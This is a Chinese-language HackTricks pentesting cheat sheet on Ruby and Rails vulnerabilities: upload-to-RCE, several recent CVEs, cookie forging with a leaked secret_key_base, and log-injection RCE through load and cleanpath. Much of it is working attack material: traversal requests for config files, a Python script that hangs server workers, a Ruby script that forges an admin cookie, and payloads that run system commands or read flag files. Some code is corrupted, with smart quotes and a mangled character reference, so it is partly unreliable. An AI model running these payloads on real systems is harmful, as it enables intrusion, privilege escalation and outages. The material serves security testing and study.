Ruby 技巧
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
File upload to RCE
正如 this article 所述,将 .rb 文件上传到诸如 config/initializers/ 之类的敏感目录,可能导致 Ruby on Rails 应用的远程代码执行 (RCE)。
提示:
- 其他在应用启动时执行的 boot/eager-load 位置在可写时也存在风险(例如,
config/initializers/是经典的例子)。如果发现任意文件上传落在config/下的任意位置并在随后被 evaluate/require,你可能在启动时获得 RCE。 - 寻找会将用户可控文件复制到容器镜像中并在 Rails 启动时加载的 dev/staging 构建。
Active Storage image transformation → command execution (CVE-2025-24293)
当应用使用 Active Storage 且同时使用 image_processing + mini_magick,并将不受信任的参数传递给图像转换方法时,Rails 早于 7.1.5.2 / 7.2.2.2 / 8.0.2.1 的版本可能允许命令注入,因为某些转换方法被错误地默认允许。
- 易受影响的模式例如:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
其中 params[:t] 和/或 params[:v] 可被攻击者控制。
-
测试时要尝试的内容
-
识别接受 variant/processing 选项、转换名称或任意 ImageMagick 参数的端点。
-
对
params[:t]和params[:v]进行模糊测试,观察可疑错误或执行副作用。如果你能影响方法名或传入到 MiniMagick 的原始参数,可能在图像处理主机上获得代码执行。 -
如果你仅对生成的 variants 有读取权限,可尝试通过精心构造的 ImageMagick 操作进行盲外泄。
-
修复/检测
-
如果发现 Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 且使用 Active Storage +
image_processing+mini_magick并存在用户可控的转换,则应视为可利用。建议升级并强制对方法/参数使用严格的允许列表,以及采用强化的 ImageMagick 策略。
Rack::Static LFI / path traversal (CVE-2025-27610)
如果目标栈直接或通过框架使用 Rack middleware,rack 早于 2.2.13、3.0.14 和 3.1.12 的版本在 :root 未设置或配置错误时,允许通过 Rack::Static 进行本地文件包含 (LFI)。在 PATH_INFO 中的编码遍历可能会暴露进程工作目录或非预期根目录下的文件。
- 寻找在
config.ru或 middleware 栈中挂载Rack::Static的应用。对静态路径尝试编码遍历,例如:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
根据配置的 urls: 调整前缀。如果应用返回了文件内容,你很可能对解析出的 :root 下的任何内容有 LFI。
- 缓解:升级 Rack;确保
:root只指向公开文件目录并明确设置。
Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)
Rack < 3.0.9.1 和 < 2.2.8.1 在解析精心构造的 Content-Type: multipart/form-data 头时会消耗超线性时间。一次包含巨量 A= 参数列表的 POST 可以挂起一个 Puma/Unicorn worker 并导致 DoS 或请求队列饥饿。
- 快速 PoC(会挂起一个 worker):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
- 针对任何基于 Rack 的栈(Rails/Sinatra/Hanami/Grape)均有效。如果前端由 nginx/haproxy 且启用 keep-alive,可并行重复以耗尽 worker。
- 已通过使解析器线性化来修补;查找
rackgem 版本 <3.0.9.1或 <2.2.8.1。在评估中指出 WAF 通常不会阻止此类请求,因为该头在语法上是有效的。
REXML XML parser ReDoS (CVE-2024-49761)
REXML gem < 3.3.9(Ruby 3.1 及更早版本)在解析包含长数字序列的十六进制数值字符引用(例如 �x41;)时会发生灾难性回溯。任何由 REXML 或封装其的库(SOAP/XML API 客户端、SAML、SVG 上传)处理的 XML 都可被利用进行 CPU 耗尽。
Minimal trigger against a Rails endpoint that parses XML:
curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>�x41;</r>'
如果进程持续忙碌数秒且 worker 的 CPU 出现峰值,则很可能存在漏洞。攻击带宽低,也会影响处理 XML 的后台任务。
CGI cookie parsing / escapeElement ReDoS (CVE-2025-27219 & CVE-2025-27220)
使用 cgi gem(在许多 Rack 堆栈中为默认)的应用可以被单个恶意头部冻结:
CGI::Cookie.parse表现为超线性;巨大的 cookie 字符串(成千上万的分隔符)会触发 O(N²) 行为。CGI::Util#escapeElement的正则允许对 HTML escaping 进行 ReDoS。
两个问题已在 cgi 0.3.5.1 / 0.3.7 / 0.4.2 中修复。对于 pentests,可发送巨量的 Cookie: 头部或将不受信任的 HTML 输入到辅助代码,观察 worker 锁死。结合 keep-alive 可放大影响。
Basecamp googlesign_in open redirect / cookie flash leak (CVE-2025-57821)
googlesign_in gem < 1.3.0(用于 Rails 的 Google OAuth)对 proceedto 参数执行了不完整的 same-origin 检查。像 proceedto=//attacker.com/%2F.. 这样的畸形 URL 可以绕过检查,并在重定向用户到站外的同时保留 Rails flash/session cookies。
攻击流程:
- 受害者点击由攻击者托管的精心构造的 Google Sign-In 链接。
- 认证后,该 gem 重定向到攻击者可控的域,泄露 flash 通知或任何存储在通配域作用域内的 cookies 数据。
- 如果应用在 flash 中存储短期令牌或 magic links,则可被利用为接管账户。
测试时,grep Gemfile.lock 查找 googlesign_in < 1.3.0 并尝试畸形的 proceedto 值。通过 Location header 和 cookie 反射进行确认。
Forging/decrypting Rails cookies when secret_key_base is leaked
Rails 使用从 secret_key_base 派生的密钥对 cookies 进行加密和签名。如果该值 leaks(例如,出现在仓库、日志或配置错误的凭据中),通常可以解密、修改并重新加密 cookies。如果应用在 cookies 中存储角色、用户 ID 或功能标志,这通常会导致权限绕过。
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
用于解密/伪造 cookies 的 Ruby
```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])
salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”
Modify and re-encrypt (example: escalate role)
plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”
</details>
注意事项:
- Older apps may use AES-256-CBC and salts `encrypted cookie` / `signed encrypted cookie`, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly.
- On compromise/assessment, rotate `secret_key_base` to invalidate all existing cookies.
## 另请参阅(Ruby/Rails-specific vulns)
- Ruby 反序列化和类污染:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Ruby 引擎中的模板注入(ERB/Haml/Slim 等):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>
## 日志注入 → 通过 Ruby `load` 和 `Pathname.cleanpath` 的路径走私实现 RCE
当一个应用(通常是简单的 Rack/Sinatra/Rails 端点)同时满足:
- 原样记录用户控制的字符串,且
- 随后 `load` 一个其路径来源于同一字符串(经过 `Pathname#cleanpath` 之后)的文件,
通常可以通过污染日志并诱使应用 `load` 该日志文件来实现远程代码执行。关键原语:
- Ruby 的 `load` 会将目标文件内容按 Ruby 解析并执行,而不考虑文件扩展名。任何可读的文本文件,只要其内容能被解析为 Ruby,就会被执行。
- `Pathname#cleanpath` 在不访问文件系统的情况下合并 `.` 和 `..` 段,从而实现路径走私:可将攻击者控制的垃圾前缀写入日志,而清理后的路径仍然解析到要执行的目标文件(例如 `../logs/error.log`)。
### 最小易受攻击模式
```ruby
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
为什么日志可能包含有效的 Ruby 代码
Logger writes prefix lines like:
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
在 Ruby 中,# 开始一条注释,9/2/2025 只是算术。要注入有效的 Ruby 代码,你需要:
- 在新行开始你的 payload,这样它不会被 INFO 行中的
#注释掉;发送一个前导换行符 (\n或%0A)。 - 关闭 INFO 行引入的悬空
[。一个常用技巧是以]开始,并可选地用][0]=1让解析器开心。 - 然后放入任意 Ruby 代码(例如
system(...))。
下面是使用精心构造的参数发出一次请求后,最终会出现在日志中的示例:
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
用单个字符串同时记录代码并解析为日志路径
我们希望得到一个由攻击者控制的字符串,该字符串需要满足:
- 在被原样记录时,包含我们的 Ruby payload,
- 当通过
Pathname.new(<input>).cleanpath处理时,解析为../logs/error.log,因此后续的load会执行刚被注入的日志文件。
Pathname#cleanpath 会忽略 schemes 并折叠遍历组件,所以下面的写法可行:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
- 在
://之前添加#可以确保 Ruby 在执行日志时忽略尾部,而cleanpath仍会将后缀缩减为../logs/error.log。 - 前导换行符会跳出 INFO 行;
]关闭了攗挂的括号;][0]=1满足了解析器。
端到端利用
- 将以下内容作为 backup script 名称发送(如有需要,请将第一个换行符 URL 编码为
%0A):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- 应用会将你原始的字符串记录到
logs/error.log。 - 应用会计算
cleanpath,其解析结果为../logs/error.log,并对其调用load。 - Ruby 会执行你注入到日志中的代码。
要在类似 CTF 的环境中外传文件:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
URL-encoded PoC(第一个字符为换行符):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
参考资料
- Rails 安全公告:CVE-2025-24293 Active Storage 不安全的 transformation 方法 (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1)
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610)
- Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
- Ruby Pathname.cleanpath 文档
- Ruby Logger 文档
- Ruby 中 load 的工作原理
- Rack multipart ReDoS 公告 (CVE-2024-25126)
- Ruby 关于 CGI / URI 的安全公告 (CVE-2025-27219/27220/27221)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


